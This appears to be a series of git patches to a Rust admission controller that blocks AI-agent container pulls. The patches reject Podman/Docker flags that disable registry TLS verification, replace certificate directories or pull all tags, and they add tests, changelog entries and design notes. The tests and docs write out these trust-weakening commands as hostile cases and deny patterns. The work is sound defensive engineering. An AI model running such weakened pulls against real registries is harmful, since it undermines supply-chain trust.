admission_decision(&policy, &intent); + let decision = admission_decision(&policy, &intent); - assert_eq!(decision.decision, DecisionKind::Block); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "alternate_trust_root"), - "caller-selected TLS verification disablement must not inherit registry trust from policy" - ); + assert_eq!( + decision.decision, + DecisionKind::Block, + "Podman false spelling {disabled} must not disable reviewed registry TLS verification" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "caller-selected TLS verification disablement must not inherit registry trust from policy" + ); + } } #[test] From b7b13e5db6997bb0ccdddea000ededd2a7b4cdb6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:11:10 +0900 Subject: [PATCH 148/247] feat(security): classify Podman registry TLS trust overrides --- .../src/oci_transport.rs | 29 +++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 crates/agent-artifact-admission/src/oci_transport.rs diff --git a/crates/agent-artifact-admission/src/oci_transport.rs b/crates/agent-artifact-admission/src/oci_transport.rs new file mode 100644 index 00000000..dc278280 --- /dev/null +++ b/crates/agent-artifact-admission/src/oci_transport.rs @@ -0,0 +1,29 @@ +use crate::InstallIntent; + +/// Return whether a Podman pull asks the caller to replace or disable the +/// registry TLS trust represented by the reviewed artifact policy. +pub(crate) fn requests_unapproved_oci_transport_trust(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if executable != "podman" { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments.first().is_some_and(|argument| argument == "pull") { + return false; + } + + arguments.iter().skip(1).any(|argument| { + argument == "--cert-dir" + || argument.starts_with("--cert-dir=") + || argument + .strip_prefix("--tls-verify=") + .is_some_and(is_false_boolean) + }) +} + +fn is_false_boolean(value: &str) -> bool { + matches!(value.to_ascii_lowercase().as_str(), "0" | "f" | "false") +} From c4cb57312dc0bf2972ad7ae61e3c526b49c5217f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:11:19 +0900 Subject: [PATCH 149/247] fix(security): fail closed on Podman registry TLS overrides --- crates/agent-artifact-admission/src/lib.rs | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 02652f74..448c6f37 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -5,6 +5,7 @@ mod artifact_variant; mod audit; mod config; mod http; +mod oci_transport; mod policy; pub use admission::{ @@ -34,5 +35,11 @@ pub fn admission_decision( } decision.decision = DecisionKind::Block; } + if oci_transport::requests_unapproved_oci_transport_trust(intent) { + if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } decision } From 7c833b6c4fc77c1ad17c03b48169addfb5328c5b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:11:36 +0900 Subject: [PATCH 150/247] test(architecture): keep OCI trust policy in domain boundary --- .../agent-artifact-admission/tests/ddd_architecture_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs index 7781281c..2bd8e9a0 100644 --- a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs +++ b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs @@ -7,6 +7,7 @@ const DOMAIN_SOURCES: &[(&str, &str)] = &[ ("admission.rs", include_str!("../src/admission.rs")), ("artifact_variant.rs", include_str!("../src/artifact_variant.rs")), + ("oci_transport.rs", include_str!("../src/oci_transport.rs")), ("policy.rs", include_str!("../src/policy.rs")), ]; From d45cb23f11659a353cd0d94a58c800b34377ff19 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:11:58 +0900 Subject: [PATCH 151/247] docs(security): trace OCI registry TLS trust authority --- docs/doctoring/oci-registry-tls-trust.md | 27 ++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 docs/doctoring/oci-registry-tls-trust.md diff --git a/docs/doctoring/oci-registry-tls-trust.md b/docs/doctoring/oci-registry-tls-trust.md new file mode 100644 index 00000000..05ec944a --- /dev/null +++ b/docs/doctoring/oci-registry-tls-trust.md @@ -0,0 +1,27 @@ +# OCI registry TLS trust authority + +Verified 2026-09-04. This note records why Wardnet's Agent Artifact Admission boundary rejects caller-selected Podman registry TLS weakening or certificate-directory replacement. It is an admission-policy control only; Wardnet does not fetch images or take over hostile execution from `quarantine-sandbox-runtime`. + +## Problem + +An approved OCI coordinate binds an HTTPS registry URL and exact artifact identity, but Podman's pull command exposes transport options that can change how that registry identity is authenticated. Current Podman documentation states that `--tls-verify=false` disables certificate verification when contacting registries and that `--cert-dir=path` selects certificates used to connect to the registry. + +Before this repair, a structured intent such as `podman pull --tls-verify=false IMAGE@sha256:DIGEST` or `podman pull --cert-dir=/unreviewed IMAGE@sha256:DIGEST` could still satisfy Wardnet's exact artifact, manifest, executable, and digest checks. The caller could therefore weaken or replace the TLS trust used for the approved registry without a corresponding policy grant. Digest verification downstream remains necessary, but it does not make caller-controlled registry authentication part of the reviewed admission authority. + +## Decision + +Wardnet classifies Podman `--cert-dir` overrides and false values of `--tls-verify` as `alternate_trust_root` and blocks the install intent. Go/Podman-compatible false spellings represented by `false`, `f`, and `0` are treated equivalently, case-insensitively. Explicit `--tls-verify=true` remains compatible because it does not weaken the reviewed HTTPS registry trust. + +The control is implemented in the bounded `oci_transport` domain predicate and composed into the existing admission result. It does not add a new public reason code, does not select certificates itself, and does not duplicate registry transport or runtime verification logic. + +## Executable evidence + +- RED `186be292eea13a8cc97c10e09208a5360a2a5996` introduces the hostile Podman TLS-disable and custom certificate-directory cases; `7725ae8a8583f53c78c02df7296069dc4c270b37` extends the RED across accepted false spellings while retaining a `--tls-verify=true` allow control. +- Causal repair `b7b13e5db6997bb0ccdddea000ededd2a7b4cdb6` adds the bounded OCI transport-trust predicate, and GREEN composition `c4cb57312dc0bf2972ad7ae61e3c526b49c5217f` maps it to the existing `alternate_trust_root` fail-closed decision. +- Architecture fitness `7c833b6c4fc77c1ad17c03b48169addfb5328c5b` places `oci_transport.rs` under the same dependency-direction contract as the other admission-domain sources. + +Exact-current-head repository, security, coverage, and review execution remains required before integration. Queued or predecessor evidence is not GREEN. + +## APA 7 reference + +Podman Project. (2026). *podman-pull — Pull an image from a registry*. Podman documentation. https://docs.podman.io/en/latest/markdown/podman-pull.1.html From de69e7151913d246f4f1dffec08428aa32b2dc60 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:12:11 +0900 Subject: [PATCH 152/247] docs(changelog): record OCI registry TLS hardening --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9b34359d..c5e2ede8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,10 +7,11 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. +- Bound Podman registry transport to reviewed HTTPS trust: false forms of `--tls-verify` and caller-selected `--cert-dir` fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, OCI platform-variant authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, OCI platform-variant and registry-TLS trust authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From d7f429c37a3bd26ea746254defc5d65f33ef71f2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 10:12:26 +0900 Subject: [PATCH 153/247] test(security): reject OCI repository-wide pull expansion --- .../tests/oci_all_tags_contract.rs | 80 +++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/oci_all_tags_contract.rs diff --git a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs new file mode 100644 index 00000000..4ea7fdd7 --- /dev/null +++ b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs @@ -0,0 +1,80 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; + +#[test] +fn oci_all_tags_cannot_expand_an_exact_approved_digest_to_a_repository_set() { + for executable in ["docker", "podman"] { + for all_tags_flag in ["--all-tags", "-a"] { + let (policy, mut intent) = approved_oci_pull(executable); + intent.argv.insert(2, all_tags_flag.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {all_tags_flag} must not expand one approved digest into every mutable tag in the repository" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "repository-wide OCI expansion must stay in the artifact-identity reason domain" + ); + } + } +} + +fn approved_oci_pull(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = format!("{IMAGE_NAME}@sha256:{DIGEST}"); + let artifact = ArtifactCoordinate { + ecosystem: "oci".to_string(), + name: IMAGE_NAME.to_string(), + version: "1.2.3".to_string(), + registry_url: "https://ghcr.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: DIGEST.to_string(), + artifact_argument: artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "oci-all-tags-test".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-oci-all-tags-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![executable.to_string(), "pull".to_string(), artifact_argument], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 7f06137453dc2296e4c4ac8c439777bf19ba7244 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 10:13:42 +0900 Subject: [PATCH 154/247] fix(security): bind OCI pulls to exact artifact set --- .../agent-artifact-admission/src/artifact_variant.rs | 10 ++++++---- crates/agent-artifact-admission/src/lib.rs | 2 +- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index a53bd790..b14c1438 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -1,8 +1,8 @@ use crate::InstallIntent; -/// Return whether an OCI pull asks the client to select a platform variant that -/// is not represented by the approved artifact coordinate. -pub(crate) fn requests_unapproved_oci_platform(intent: &InstallIntent) -> bool { +/// Return whether an OCI pull asks the client to expand or select artifact +/// identity that is not represented by the approved artifact coordinates. +pub(crate) fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; }; @@ -16,7 +16,9 @@ pub(crate) fn requests_unapproved_oci_platform(intent: &InstallIntent) -> bool { } arguments.iter().any(|argument| { - argument == "--platform" + argument == "--all-tags" + || argument == "-a" + || argument == "--platform" || argument.starts_with("--platform=") || (executable == "podman" && (argument == "--arch" diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 448c6f37..a9ff8e50 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -29,7 +29,7 @@ pub fn admission_decision( intent: &InstallIntent, ) -> AdmissionDecision { let mut decision = policy::admission_decision(policy, intent); - if artifact_variant::requests_unapproved_oci_platform(intent) { + if artifact_variant::requests_unapproved_oci_artifact_variant(intent) { if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } From 37751afc97dd318ae1dd2be48faf54e60069163a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 10:14:25 +0900 Subject: [PATCH 155/247] docs(security): record exact-set OCI pull invariant --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c5e2ede8..e93cf264 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,11 +7,12 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. +- Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags` fail closed as `artifact_not_approved` because the clients define those switches as repository-wide mutable tag expansion rather than one pinned digest request. - Bound Podman registry transport to reviewed HTTPS trust: false forms of `--tls-verify` and caller-selected `--cert-dir` fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, OCI platform-variant and registry-TLS trust authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, exact-set OCI pull cardinality, OCI platform-variant and registry-TLS trust authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From 3a63247e412d17b7bbee2a1d1668dfc84adf1280 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 10:14:56 +0900 Subject: [PATCH 156/247] docs(security): trace OCI pull cardinality authority --- .../oci-repository-pull-cardinality.md | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 docs/doctoring/oci-repository-pull-cardinality.md diff --git a/docs/doctoring/oci-repository-pull-cardinality.md b/docs/doctoring/oci-repository-pull-cardinality.md new file mode 100644 index 00000000..7d6c2af6 --- /dev/null +++ b/docs/doctoring/oci-repository-pull-cardinality.md @@ -0,0 +1,33 @@ +# OCI repository pull cardinality + +## Problem + +Agent Artifact Admission authorizes exact reviewed OCI artifact coordinates, including a digest-bearing command operand. Docker and Podman both expose `-a` / `--all-tags` on `pull`; their current command references define that option as pulling every tagged image in a repository. Before this repair, Wardnet ignored those option tokens because they begin with `-`, so an intent could retain an `allow` decision even though the downstream client had been asked to expand one approved artifact request into a mutable repository-wide set. + +This is an admission-authority defect, not an OCI transport implementation responsibility. Wardnet owns whether submitted structured argv stays inside the reviewed artifact set. Docker/Podman continue to own registry transport, and the downstream execution broker/quarantine path still owns retrieval, byte verification, and hostile execution isolation. + +## Decision + +For Docker and Podman `pull`, `-a` and `--all-tags` are rejected as `artifact_not_approved`. The existing artifact-variant predicate is intentionally widened to cover both platform selection and dynamic artifact-set expansion because both change artifact identity beyond the reviewed `ArtifactCoordinate` set. No new public reason code or provider-specific transport abstraction is introduced. + +The decision is fail-closed until Wardnet has a versioned policy aggregate capable of enumerating every artifact that a repository-wide operation may retrieve. A mutable tag set is not equivalent to a reviewed list of exact digests. + +## RED / GREEN evidence + +- RED `d7f429c37a3bd26ea746254defc5d65f33ef71f2`: `oci_all_tags_contract.rs` requires Docker and Podman long/short all-tags forms to block even when the submitted operand itself is an approved digest. +- Causal GREEN source `7f06137453dc2296e4c4ac8c439777bf19ba7244`: `artifact_variant` rejects `-a` / `--all-tags` and the composition keeps the existing `artifact_not_approved` contract. +- Exact-current-head workflow execution remains authoritative for terminal GREEN; predecessor workflow results do not transfer to a changed head. + +## Threat effect + +The repair removes a confused-deputy path where untrusted agent-supplied argv could widen a single reviewed OCI identity into every mutable tag in a repository. It does not claim that a permitted digest pull proves downloaded bytes. The execution broker must still verify the retrieved object or equivalent provenance against the admitted identity before installation or execution. + +## References + +Docker, Inc. (2026). *docker image pull*. Docker Docs. https://docs.docker.com/reference/cli/docker/image/pull/ + +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 + +Podman contributors. (2026). *podman-pull*. Podman documentation. https://docs.podman.io/en/latest/markdown/podman-pull.1.html + +Primary command references were re-verified on 2026-09-04. Docker documents `-a, --all-tags` as downloading all tagged images in a repository. Podman documents the equivalent option as pulling all tagged images in the repository. Those semantics are the reason this option is treated as artifact-set authority rather than harmless client presentation detail. From 883d1d37e05b0ccd9d30b2c1b25fd7d53c6fc8d8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 16:15:32 +0900 Subject: [PATCH 157/247] test(admission): cover assigned OCI all-tags forms --- crates/agent-artifact-admission/tests/oci_all_tags_contract.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs index 4ea7fdd7..5e528622 100644 --- a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs @@ -11,7 +11,7 @@ const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; #[test] fn oci_all_tags_cannot_expand_an_exact_approved_digest_to_a_repository_set() { for executable in ["docker", "podman"] { - for all_tags_flag in ["--all-tags", "-a"] { + for all_tags_flag in ["--all-tags", "-a", "--all-tags=true", "-a=true"] { let (policy, mut intent) = approved_oci_pull(executable); intent.argv.insert(2, all_tags_flag.to_string()); From e9e07e696c013dab88df6a5a6dc1be8306b9b688 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 16:15:57 +0900 Subject: [PATCH 158/247] fix(admission): block assigned OCI all-tags expansion --- .../agent-artifact-admission/src/artifact_variant.rs | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index b14c1438..f4033457 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -18,6 +18,10 @@ pub(crate) fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) - arguments.iter().any(|argument| { argument == "--all-tags" || argument == "-a" + || argument + .strip_prefix("--all-tags=") + .is_some_and(is_true_boolean) + || argument.strip_prefix("-a=").is_some_and(is_true_boolean) || argument == "--platform" || argument.starts_with("--platform=") || (executable == "podman" @@ -29,3 +33,10 @@ pub(crate) fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) - || argument.starts_with("--variant="))) }) } + +fn is_true_boolean(value: &str) -> bool { + matches!( + value.to_ascii_lowercase().as_str(), + "1" | "t" | "true" + ) +} From 2207a6f79522dc8b6cb95e817be648bb6ef9a7f3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 16:16:22 +0900 Subject: [PATCH 159/247] test(admission): cover OCI all-tags boolean assignments --- .../tests/oci_all_tags_contract.rs | 27 ++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs index 5e528622..adaf99e1 100644 --- a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs @@ -11,7 +11,14 @@ const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; #[test] fn oci_all_tags_cannot_expand_an_exact_approved_digest_to_a_repository_set() { for executable in ["docker", "podman"] { - for all_tags_flag in ["--all-tags", "-a", "--all-tags=true", "-a=true"] { + for all_tags_flag in [ + "--all-tags", + "-a", + "--all-tags=true", + "--all-tags=TRUE", + "-a=true", + "-a=1", + ] { let (policy, mut intent) = approved_oci_pull(executable); intent.argv.insert(2, all_tags_flag.to_string()); @@ -33,6 +40,24 @@ fn oci_all_tags_cannot_expand_an_exact_approved_digest_to_a_repository_set() { } } +#[test] +fn explicit_false_all_tags_assignment_preserves_exact_digest_admission() { + for executable in ["docker", "podman"] { + for all_tags_flag in ["--all-tags=false", "-a=0"] { + let (policy, mut intent) = approved_oci_pull(executable); + intent.argv.insert(2, all_tags_flag.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Allow, + "{executable} {all_tags_flag} leaves repository-wide expansion disabled and must not create a false security block" + ); + } + } +} + fn approved_oci_pull(executable: &str) -> (AdmissionPolicy, InstallIntent) { let artifact_argument = format!("{IMAGE_NAME}@sha256:{DIGEST}"); let artifact = ArtifactCoordinate { From 6dfd777e1e9ce8b42c87c3311911a35f64f97190 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 16:16:54 +0900 Subject: [PATCH 160/247] docs(admission): trace assigned OCI all-tags repair --- docs/doctoring/oci-repository-pull-cardinality.md | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/docs/doctoring/oci-repository-pull-cardinality.md b/docs/doctoring/oci-repository-pull-cardinality.md index 7d6c2af6..fa55259a 100644 --- a/docs/doctoring/oci-repository-pull-cardinality.md +++ b/docs/doctoring/oci-repository-pull-cardinality.md @@ -4,18 +4,23 @@ Agent Artifact Admission authorizes exact reviewed OCI artifact coordinates, including a digest-bearing command operand. Docker and Podman both expose `-a` / `--all-tags` on `pull`; their current command references define that option as pulling every tagged image in a repository. Before this repair, Wardnet ignored those option tokens because they begin with `-`, so an intent could retain an `allow` decision even though the downstream client had been asked to expand one approved artifact request into a mutable repository-wide set. +A follow-up hostile case found the first repair was syntactically incomplete. Boolean CLI options can also be supplied as assignments, including `--all-tags=true` and short-form assignments such as `-a=true`. The exact-token predicate rejected bare `-a` / `--all-tags` but did not classify assigned true forms, so the same artifact-set expansion authority could escape the admission boundary while the reviewed digest operand still matched policy. + This is an admission-authority defect, not an OCI transport implementation responsibility. Wardnet owns whether submitted structured argv stays inside the reviewed artifact set. Docker/Podman continue to own registry transport, and the downstream execution broker/quarantine path still owns retrieval, byte verification, and hostile execution isolation. ## Decision -For Docker and Podman `pull`, `-a` and `--all-tags` are rejected as `artifact_not_approved`. The existing artifact-variant predicate is intentionally widened to cover both platform selection and dynamic artifact-set expansion because both change artifact identity beyond the reviewed `ArtifactCoordinate` set. No new public reason code or provider-specific transport abstraction is introduced. +For Docker and Podman `pull`, bare `-a` / `--all-tags` and assigned true spellings are rejected as `artifact_not_approved`. The existing artifact-variant predicate is intentionally widened to cover both platform selection and dynamic artifact-set expansion because both change artifact identity beyond the reviewed `ArtifactCoordinate` set. Explicit false assignments remain admissible because they do not widen the pull set. No new public reason code or provider-specific transport abstraction is introduced. The decision is fail-closed until Wardnet has a versioned policy aggregate capable of enumerating every artifact that a repository-wide operation may retrieve. A mutable tag set is not equivalent to a reviewed list of exact digests. ## RED / GREEN evidence - RED `d7f429c37a3bd26ea746254defc5d65f33ef71f2`: `oci_all_tags_contract.rs` requires Docker and Podman long/short all-tags forms to block even when the submitted operand itself is an approved digest. -- Causal GREEN source `7f06137453dc2296e4c4ac8c439777bf19ba7244`: `artifact_variant` rejects `-a` / `--all-tags` and the composition keeps the existing `artifact_not_approved` contract. +- Causal GREEN source `7f06137453dc2296e4c4ac8c439777bf19ba7244`: `artifact_variant` rejects bare `-a` / `--all-tags` and the composition keeps the existing `artifact_not_approved` contract. +- Follow-up RED `883d1d37e05b0ccd9d30b2c1b25fd7d53c6fc8d8`: the hostile contract adds assigned true forms that the exact-token predicate did not reject. +- Causal GREEN `e9e07e696c013dab88df6a5a6dc1be8306b9b688`: the predicate recognizes true Boolean assignments without treating explicit false assignments as repository expansion. +- Coverage refinement `2207a6f79522dc8b6cb95e817be648bb6ef9a7f3`: exercises Docker/Podman long/short assigned true spellings and the explicit-false non-regression boundary. - Exact-current-head workflow execution remains authoritative for terminal GREEN; predecessor workflow results do not transfer to a changed head. ## Threat effect @@ -24,10 +29,12 @@ The repair removes a confused-deputy path where untrusted agent-supplied argv co ## References +Docker, Inc. (2026). *docker CLI reference*. Docker Docs. https://docs.docker.com/reference/cli/docker/ + Docker, Inc. (2026). *docker image pull*. Docker Docs. https://docs.docker.com/reference/cli/docker/image/pull/ National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* 